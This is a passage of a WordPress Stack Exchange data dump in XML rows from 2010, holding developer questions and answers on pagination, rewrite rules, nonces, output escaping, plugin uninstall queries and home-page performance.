)&#xA;);&#xA;&#xA;query_posts($new_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts($query_string.'&amp;amp;posts_per_page=1&amp;amp;paged='.$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to no avail ... ideas?  Tips?  Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-11T09:23:20.247" Title="Fixing Pagination with Custom Taxonomy Archive" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="1636" PostTypeId="2" ParentId="1634" CreationDate="2010-09-11T02:11:11.303" Score="0" ViewCount="" Body="&lt;p&gt;Install &lt;a href=&quot;http://wordpress.org/extend/plugins/addquicktag/&quot; rel=&quot;nofollow&quot;&gt;AddQuicktag&lt;/a&gt; and create a button which inserts your outline. You may even build two buttons. ;)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-09-11T02:11:11.303" />
  <row Id="1637" PostTypeId="2" ParentId="1635" CreationDate="2010-09-11T08:05:01.540" Score="1" ViewCount="" Body="&lt;p&gt;Here is code I use to modify number of posts on archive pages of categories and tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array_merge( array(&#xA;'posts_per_page' =&amp;gt; 1&#xA;), $wp_query-&amp;gt;query ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you can't make this work with custom taxonomy try with native (categories, tags) to check if problem is with code itself, with taxonomy or something else entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am not sure if you missed this or left out, but $paged is not global variable. It must be fetched as get_query_var( 'paged' )&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T08:05:01.540" CommentCount="1" />
  <row Id="1638" PostTypeId="2" ParentId="1634" CreationDate="2010-09-11T08:18:58.060" Score="1" ViewCount="" Body="&lt;p&gt;Create new page with your outline, save it as draft. I called it &quot;Outline&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then drop this in functions.php of your theme (can be packed as plugin if needed).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'default_content', 'default_post_outline' );&#xA;&#xA;function default_post_outline( $post_content ) {&#xA;&#xA;$page = get_page_by_title( 'Outline' );&#xA;&#xA;if( isset( $page ) )&#xA;return $page-&amp;gt;post_content;&#xA;&#xA;return $post_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T08:18:58.060" />
  <row Id="1639" PostTypeId="1" CreationDate="2010-09-11T09:15:03.220" Score="5" ViewCount="277" Body="&lt;p&gt;Often a quick solution to a problem, &lt;em&gt;can&lt;/em&gt; be solved by hacking the WordPress core, that is changing the code that is WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;This is a very dangerous road to take! Don't do it, ever!&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can always change how WordPress works, by using plugins. This can sometimes be rather tiresome and difficult, but the extra work always outweighs the problems you get by changing the WordPress core itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some would say, that there can be situations where hacking the core is the only solution, but if you are here asking questions, &lt;strong&gt;you are definitely not in that situation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This question, is meant to be an introduction to a collective work of why you should never hack the WordPress core, that we can use as a reference. If you have something to add, feel free to add it as a question.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-09-13T23:10:10.210" LastActivityDate="2010-10-05T03:10:11.660" CommunityOwnedDate="2010-09-11T09:15:03.220" Title="What are some reasons why you should not hack WordPress core files?" Tags="&lt;core&gt;&lt;faq&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" />
  <row Id="1640" PostTypeId="2" ParentId="1635" CreationDate="2010-09-11T09:23:20.247" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@EAMann&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cringe anytime I need to do something creative with URLs in WordPress as the URL system is in my opinion by far the most inelegant aspect of WordPress. I always feel like I'm having to fight WordPress to get it to do what I want, and that WordPress is actively fighting me back related to URLs. So with that opener...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking through your issue I'm going to make a suggestion which isn't exactly what you asked for. If you don't find it to be what you are looking for that's okay just please don't anyone down-vote because I'm just trying to help.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Taxonomy Isn't Single Increment and Has No Meta&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One of the problems with what you are trying to do is &lt;strong&gt;the taxonomy system doesn't a single increment ordering&lt;/strong&gt; and it &lt;strong&gt;doesn't have meta&lt;/strong&gt;. For example in a 3 post series you might find terms with &lt;code&gt;ID&lt;/code&gt;s of &lt;code&gt;373&lt;/code&gt;, &lt;code&gt;411&lt;/code&gt; and &lt;code&gt;492&lt;/code&gt;; you can figure that &lt;code&gt;373 = #1&lt;/code&gt;, &lt;code&gt;411 = #2&lt;/code&gt; and &lt;code&gt;492 = #3&lt;/code&gt; but that's all happenstance and relative to each other. It's like trying to location the root of your WordPress site in plugin code but you don't know how many levels deep your code will be stored. Of course can write code to figure it all out and map them but that gets tricky and I'm not sure you'd get much value out of trying to figure it out instead of using a different approach.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Explicitly Assign Your Page Numbers&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So the first thing I would suggest is that &lt;strong&gt;you &lt;em&gt;explicitly assign&lt;/em&gt; your &lt;em&gt;page numbers&lt;/em&gt; for each post in your series&lt;/strong&gt; using post meta/custom fields (I picked the term &lt;code&gt;installment&lt;/code&gt; instead of &lt;code&gt;page&lt;/code&gt; because it made more sense to me but clearly you could use any term that fits for your use-case.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assigning page/installment numbers has the benefit of you being in complete control and that way you'll know what to fix when somethings out of whack and if you want to reorder you can do so just by changing the numbers. I'm assuming you'll have a edit metabox for a custom field name &lt;code&gt;_installment&lt;/code&gt; for selecting the installment numbers (and it could even manage/juggle installment numbers via AJAX if you want to get creative so that you never have pages out of sync.)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use &lt;code&gt;$wp_rewrite-&amp;gt;add_rule()&lt;/code&gt; to Explicitly Assign Your URL&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I won't go in depth since I know you've generally got mad WordPress skilz so I'll just point &#xA;out that &lt;code&gt;$wp_rewrite-&amp;gt;add_rule()&lt;/code&gt; is the cruz of getting this all to work. Everything else is just providing support around that function's result.  Use the &lt;code&gt;init&lt;/code&gt; hook assign your URL rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init', 'add_series_installment_url');&#xA;function add_series_installment_url() {&#xA;  global $wp,$wp_rewrite;&#xA;  $wp-&amp;gt;add_query_var('series');&#xA;  $wp-&amp;gt;add_query_var('installment');&#xA;  $wp_rewrite-&amp;gt;add_rule('series/([^/]+)/(installment-\d+)','index.php?series=$matches[1]&amp;amp;installment=$matches[2]','top');&#xA;  $wp_rewrite-&amp;gt;flush_rules(false);  // This should really be done in a plugin activation&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Use &lt;code&gt;parse_query&lt;/code&gt; hook to Translate URL to Query Vars&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The 2nd half of this solution uses the &lt;code&gt;parse_query&lt;/code&gt; hook which I know you much be familiar with. In general we capture the &lt;code&gt;query_vars&lt;/code&gt; defined in &lt;code&gt;init&lt;/code&gt; and captured via the URL rule and convert them into what we need to query WordPress posts with &lt;code&gt;taxonomy&lt;/code&gt;+&lt;code&gt;term&lt;/code&gt; handling your &lt;code&gt;series&lt;/code&gt; and &lt;code&gt;meta_key&lt;/code&gt;+&lt;code&gt;meta_value&lt;/code&gt; handling the explicitly assigned installment/page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('parse_query', 'apply_series_installment_to_query');&#xA;function apply_series_installment_to_query(&amp;amp;$query) {&#xA;  if (isset($query-&amp;gt;query['series']) &amp;amp;&amp;amp; isset($query-&amp;gt;query['installment']) &amp;amp;&amp;amp; &#xA;     preg_match('#^installment-(\d+)$#',$query-&amp;gt;query['installment'],$match)) {&#xA;    $query-&amp;gt;query_vars['post_type'] = 'post';&#xA;    $query-&amp;gt;query_vars['taxonomy'] = 'series';&#xA;    $query-&amp;gt;query_vars['term'] = $query-&amp;gt;query['series'];&#xA;    $query-&amp;gt;query_vars['meta_key'] = '_installment';&#xA;    $query-&amp;gt;query_vars['meta_value'] = $match[1];&#xA;    unset($query-&amp;gt;query_vars['series']);            // You don't need this&#xA;    unset($query-&amp;gt;query_vars['installment']);       // or this&#xA;    unset($query-&amp;gt;query_vars['name']);              // or this&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Summary&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Normally I would have gone into a lot more depth explaining an answer but it's late, I've had too little sleep in the past 48 hours, and most importantly I know you can figure it out, you probably just needed one thing I mentioned here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I hope you like this solution. Even if you don't the two parts with &lt;code&gt;init&lt;/code&gt; and &lt;code&gt;parse_query&lt;/code&gt; and the &lt;code&gt;$wp_rewrite-&amp;gt;add_rule()&lt;/code&gt; and the &lt;code&gt;$query-&amp;gt;query_vars[]&lt;/code&gt; respectively are what you need even if you want to stick with your original architecture. Good luck and looking forward to seeing it when you have it done and online!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway,&#xA;Hope this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-11T09:23:20.247" CommentCount="3" />
  <row Id="1641" PostTypeId="2" ParentId="1634" CreationDate="2010-09-11T09:31:01.673" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@KJH&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is very similar to this question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1515/creating-a-custom-post-type-for-inserting-preset-content-into-post-pages&quot;&gt;&lt;strong&gt;Creating a Custom Post Type for Inserting Preset Content into Post &amp;amp; Pages?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might find the solution to be what you need; I extended my &lt;a href=&quot;http://mikeschinkel.com/downloads/wp-boilerplate-shortcode-v1.0.5.zip&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Boilerplate Shortcode&lt;/strong&gt;&lt;/a&gt; plugin to meet the needs of the person asking the question; you might find the solution fits your needs as well.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-11T09:31:01.673" CommentCount="3" />
  <row Id="1642" PostTypeId="2" ParentId="1620" CreationDate="2010-09-11T09:40:40.283" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@cannyboy&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/search-unleashed/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Search Unleashed&lt;/strong&gt;&lt;/a&gt; that gives lots of different functionality. One of my clients was using it and I was impressed with the control it gave. Not 100% sure it will give you what you need but it's worth checking out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your blog only has post_types of &quot;post&quot; and you don't use them for the rest of the site you could use &lt;em&gt;@TerryMatula&lt;/em&gt;'s suggestion but with &lt;code&gt;$post_type&lt;/code&gt; =&gt; &lt;code&gt;'post'&lt;/code&gt; instead, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;post&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-11T09:40:40.283" CommentCount="1" />
  <row Id="1643" PostTypeId="1" CreationDate="2010-09-11T09:41:05.760" Score="2" ViewCount="201" Body="&lt;p&gt;i am reading professional wordpress. their code for uninstalling a plugin is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//build our query to delete our custom table&#xA;$sql = &quot;DROP TABLE &quot; . $table_name . &quot;;&quot;;&#xA;&#xA;//execute the query deleting the table&#xA;$wpdb-&amp;gt;query($sql);&#xA;require_once(ABSPATH .’wp-admin/includes/upgrade.php’);&#xA;dbDelta($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my question is why run &lt;code&gt;dbDelta&lt;/code&gt; after &lt;code&gt;$wpdb-&amp;gt;query($sql);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2010-09-12T02:27:43.807" LastActivityDate="2010-09-12T02:27:43.807" Title="Plugin uninstall: why run dbDelta after $wpdb-&gt;query($drop_sql)" Tags="&lt;plugins&gt;&lt;uninstallation&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="1644" PostTypeId="1" AcceptedAnswerId="1670" CreationDate="2010-09-11T10:56:08.603" Score="0" ViewCount="239" Body="&lt;p&gt;i dont really understand why the check if the nonce function exists before running it ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('wp_nonce_field') ) &#xA;     wp_nonce_field('gmp_nonce_check');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i understand its for backwards compatibility ...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also notice how you are verifying that&#xA;  the &lt;code&gt;wp_nonce_field&lt;/code&gt; function exists&#xA;  before trying to call it for backward&#xA;  compatibility&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but wont it break anyway if on post back i check &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset($_POST['submit']) ) {&#xA;     check_admin_referer('gmp_nonce_check');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2010-09-12T02:01:06.550" LastActivityDate="2010-09-12T02:01:06.550" Title="Why do I need to check if wp_nonce_field() exists before using it" Tags="&lt;security&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="1645" PostTypeId="2" ParentId="1644" CreationDate="2010-09-11T11:10:19.917" Score="1" ViewCount="" Body="&lt;p&gt;If I understand your question right - you ask why there is no need to check if check_admin_referer() defined as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I see from docs this function is much older (since WP 1.2.0) than wp_nonce_field() (since WP 2.0.4). So I would assume you are much less likely to encounter version that ancient that it doesn't have check_admin_referer().&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T11:10:19.917" CommentCount="2" />
  <row Id="1646" PostTypeId="1" AcceptedAnswerId="1647" CreationDate="2010-09-11T11:21:08.517" Score="0" ViewCount="95" Body="&lt;p&gt;i read professional wordpress and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;esc_html&lt;/code&gt; function is used for&#xA;  scrubbing data that contains HTML.&#xA;  This function encodes special&#xA;  characters into their HTML entities&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;esc_attr&lt;/code&gt; function is used for escaping&#xA;  HTML attributes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;esc_url&lt;/code&gt;. This function should be used&#xA;  to scrub the URL for illegal&#xA;  characters. Even though the href is&#xA;  technically an HTML attribute&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;whats the diff between these? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('hello world!');&amp;lt;/script&amp;gt;this is some content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would all convert &lt;code&gt;&amp;lt; &amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;amp;lt; &amp;amp;gt;&lt;/code&gt; i guess the url one will be something like &lt;code&gt;%xxx&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-09-11T11:46:07.660" Title="whats the difference between esc_* functions" Tags="&lt;security&gt;" AnswerCount="1" />
  <row Id="1647" PostTypeId="2" ParentId="1646" CreationDate="2010-09-11T11:46:07.660" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;esc_html&lt;/code&gt; and &lt;code&gt;esc_attr&lt;/code&gt; are near-identical, the only difference is that output gets passed through differently named filters ( &lt;code&gt;esc_html&lt;/code&gt; and &lt;code&gt;attribute_escape&lt;/code&gt; respectively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;esc_url&lt;/code&gt; is more complex and specific, it deals with characters that can't be in URLs and allowed protocols (list of which can be passed as second argument). It will also prepend input with &lt;code&gt;http://&lt;/code&gt; protocol if it's not present (and link is not relative).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T11:46:07.660" />
  <row Id="1648" PostTypeId="2" ParentId="214" CreationDate="2010-09-11T13:11:51.490" Score="0" ViewCount="" Body="&lt;p&gt;I tried everything for the auto upgrade that was mentioned at wordpress.org/support/topic/upgrade-gone-worng-pls-help, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I did a manual upgrade more or less following the instructions at codex.wordpress.org/Upgrading_WordPress. Instead of using FTP, I used my hosting providers CPanel - I then blogged the steps I took so that others might benefit - see &lt;a href=&quot;http://misterjaytee.com/2010/09/11/errors-updating-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://misterjaytee.com/2010/09/11/errors-updating-wordpress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully the next Automatic upgrade will work properly, but if not, I now have the confidence to do the upgrade manually.&lt;/p&gt;&#xA;" OwnerUserId="850" LastActivityDate="2010-09-11T13:11:51.490" />
  <row Id="1649" PostTypeId="1" AcceptedAnswerId="1650" CreationDate="2010-09-11T14:03:47.003" Score="0" ViewCount="152" Body="&lt;p&gt;reading a book about wordpress ... sorry if i ask the too many questions at 1 go but i am new and confused&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why does the author always not save data in the metadata box when its a revision. just in case its not clear, what i refer to by metadata box is the one added by &lt;code&gt;add_meta_box&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//save meta box data &#xA;function pp_save_meta_box($post_id,$post) {&#xA;    // if post is a revision skip saving our meta box data&#xA;    if($post-&amp;gt;post_type == ‘revision’) { return; }&#xA;&#xA;    // process form data if $_POST is set&#xA;    if(isset($_POST[’pp_sku’]) &amp;amp;&amp;amp; $_POST[’pp_sku’] != ‘’) {&#xA;        // save the meta box data as post meta using the post ID as a unique prefix&#xA;        update_post_meta($post_id,’pp_sku’, esc_attr($_POST[’pp_sku’]));&#xA;        update_post_meta($post_id,’pp_price’, esc_attr($_POST[’pp_price’]));&#xA;        update_post_meta($post_id,’pp_weight’, esc_attr($_POST[’pp_weight’]));&#xA;        update_post_meta($post_id,’pp_color’, esc_attr($_POST[’pp_color’]));&#xA;        update_post_meta($post_id,’pp_inventory’,esc_attr($_POST[’pp_inventory’]));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-09-11T16:49:54.167" Title="why shouldn't i save metadata when its a revision" Tags="&lt;plugins&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1650" PostTypeId="2" ParentId="1649" CreationDate="2010-09-11T14:32:05.827" Score="2" ViewCount="" Body="&lt;p&gt;You omitted how is this function called. I assume it is added to &lt;code&gt;save_post&lt;/code&gt; action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This action passes current post id as argument. In case of revision that would be revision id and not parent post id. &lt;del&gt;So, as I see it, there is no reason to save additional data for revision (creating duplicate set of it).&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scratch that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked through source code. Apparently &lt;code&gt;*_post_meta&lt;/code&gt; functions will automatically change to parent post id if passed revision post id. So you might modify original post, thinking you are modifying revision.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-11T16:49:54.167" LastActivityDate="2010-09-11T16:49:54.167" CommentCount="3" />
  <row Id="1651" PostTypeId="2" ParentId="1643" CreationDate="2010-09-11T14:37:36.480" Score="3" ViewCount="" Body="&lt;p&gt;This is indeed bizarre. I think they first tried it with &lt;code&gt;dbDelta&lt;/code&gt;, found it doesn't work with &lt;code&gt;DROP&lt;/code&gt; queries, and went with a straight &lt;code&gt;$wpdb&lt;/code&gt; query instead. They then just forgot to take out the &lt;code&gt;dbDelta&lt;/code&gt; stuff. It appears &lt;code&gt;dbDelta&lt;/code&gt; collects creation queries in &lt;code&gt;$cqueries&lt;/code&gt; and insert queries in &lt;code&gt;$iqueries&lt;/code&gt;, but &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/upgrade.php#L1393&quot; rel=&quot;nofollow&quot;&gt;silently ignores the rest&lt;/a&gt;. What a lovely function...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be sure, you could ask this question on &lt;a href=&quot;http://p2p.wrox.com/book-professional-wordpress-567/&quot; rel=&quot;nofollow&quot;&gt;the book forum&lt;/a&gt;, hopefully the authors hang around there. Don't forget to mention you first asked it here, so we get some publicity!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-11T14:37:36.480" CommentCount="2" />
  <row Id="1652" PostTypeId="2" ParentId="1649" CreationDate="2010-09-11T14:49:31.697" Score="1" ViewCount="" Body="&lt;p&gt;When I look at my &lt;code&gt;postmeta&lt;/code&gt; table, it appears no metadata is ever saved for post revisions. I don't think it has to be this way: I can think of some use cases where it would be useful for plugins to save additional metadata for revisions too. Take your example, probably from a webshop example: if I first create a product with a price of $20, then later reduce the price to $10, this will probably save the old text fields as a revision, but it will erase the old price fields. It could be useful to save a history of the prices too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the functions that deal with metadata don't fully support working with revisions of metadata, so we should not expect much support from plugins yet. But, if you create a plugin, keep in mind how saving (and retrieving) historical metadata could be useful.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-11T14:49:31.697" CommentCount="1" />
  <row Id="1653" PostTypeId="1" CreationDate="2010-09-11T15:10:54.767" Score="5" ViewCount="411" Body="&lt;p&gt;I'm trying to tune a wordpress website which suffers slow loading times, and I found out that the home page seems to take a lot more time to load. It's not due to content because I'm just considering the time it takes for the base request to end (viewable via firebug in firefox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I tried copying the index.php code in a custom page, and the same exact code loads in about 1 sec while the main home loads in about 7. I noticed that single pages loaded faster, and at first I thought it was due to the difference in content, but after this test I'm not sure what's causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there much stuff that wordpress does behind the scenes only for the main index? Is there any other way to explain this situation and, more importantly, fix it so that the home page loads faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE -- DIRTY SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of blind tries, I created a new page called home which uses &lt;code&gt;index.php&lt;/code&gt; as custom template (not a copy, the same file). I redirected any call to the base path to it (via wordpress' internal rewrite) and I have the same homepage as before, just loaded in 1/6th of the time. While I'm happy with the result, I'd really like to understand what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ANOTHER UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the point seems to be that I cannot use a dynamic (in wordpress' sense) page with this site, it only works fine with a custom &quot;static&quot; page where I insert content via various functions, the normal Loop makes the home either very slow (with high memory limit) or just blank (low memory limit, script fails). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4574/how-can-i-create-an-alternative-home-page&quot;&gt;this question&lt;/a&gt;, I created a static home linked to a custom page and it works fine. I also created a blog page (again with a custom template) which also works fine (where &quot;fine&quot; means it shows my empty test page containing just one word and no code) &lt;strong&gt;unless&lt;/strong&gt; I specify it as &quot;Posts page&quot; in admin -&gt; Reading settings. In other words it looks like as soon as wordpress sees a dynamic page (the one that's supposed to hold The main Loop) it does something very heavy which eats up a lot of ram.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still looking for the cause of this, I can work around it but I'd really like to understand what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: added bounty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: I tried disabling all plugins, wordpress is updated to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FURTHER EDIT: TABLE INDEXES&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PRIMARY KEY  (`ID`),&#xA;KEY `type_status_date` (`post_type`,`post_status`(1),`post_date`,`ID`),&#xA;KEY `post_status_date_gmt` (`post_status`(1),`post_date_gmt`),&#xA;KEY `post_date` (`post_date`),&#xA;KEY `post_date_gmt` (`post_date_gmt`),&#xA;KEY `post_parent` (`post_parent`),&#xA;KEY `post_name` (`post_name`),&#xA;KEY `post_status` (`post_status`),&#xA;KEY `post_author` (`post_author`),&#xA;FULLTEXT KEY `post_related` (`post_name`,`post_content`),&#xA;FULLTEXT KEY `post_content` (`post_content`,`post_title`),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wp_term_relationships:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PRIMARY KEY  (`object_id`,`term_taxonomy_id`),&#xA;KEY `term_taxonomy_id` (`term_taxonomy_id`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wp_term_taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PRIMARY KEY  (`term_taxonomy_id`),&#xA;UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),&#xA;KEY `taxonomy` (`taxonomy`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="745" LastEditorUserId="745" LastEditorDisplayName="" LastEditDate="2010-11-28T19:34:19.420" LastActivityDate="2010-12-12T22:18:01.940" Title="Why is home (a lot) slower than other pages?" Tags="&lt;optimization&gt;&lt;loading-time&gt;" AnswerCount="6" CommentCount="10" FavoriteCount="3" />
  <row Id="1654" PostTypeId="2" ParentId="1653" CreationDate="2010-09-11T15:20:07.470" Score="5" ViewCount="" Body="&lt;p&gt;By default there isn't any difference for performance of home page. There is however a possibility that some plugin does something slow on that page alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty plugins to profile WP performance. I usually use &lt;a href=&quot;http://wordpress.org/extend/plugins/wptuner/&quot; rel=&quot;nofollow&quot;&gt;WP Tuner&lt;/a&gt; but it seems to be broken for latest WP version, so I have no immediate replacement to suggest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplest way is packing template full of time/memory markers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(  '%d queries in %.3f seconds, using %.2fMB memory', get_num_queries(), timer_stop( 0, 3 ), memory_get_peak_usage() / 1024 / 1024 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's crude but often allows to pinpoint location where slowdown occurs.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T15:20:07.470" CommentCount="9" />
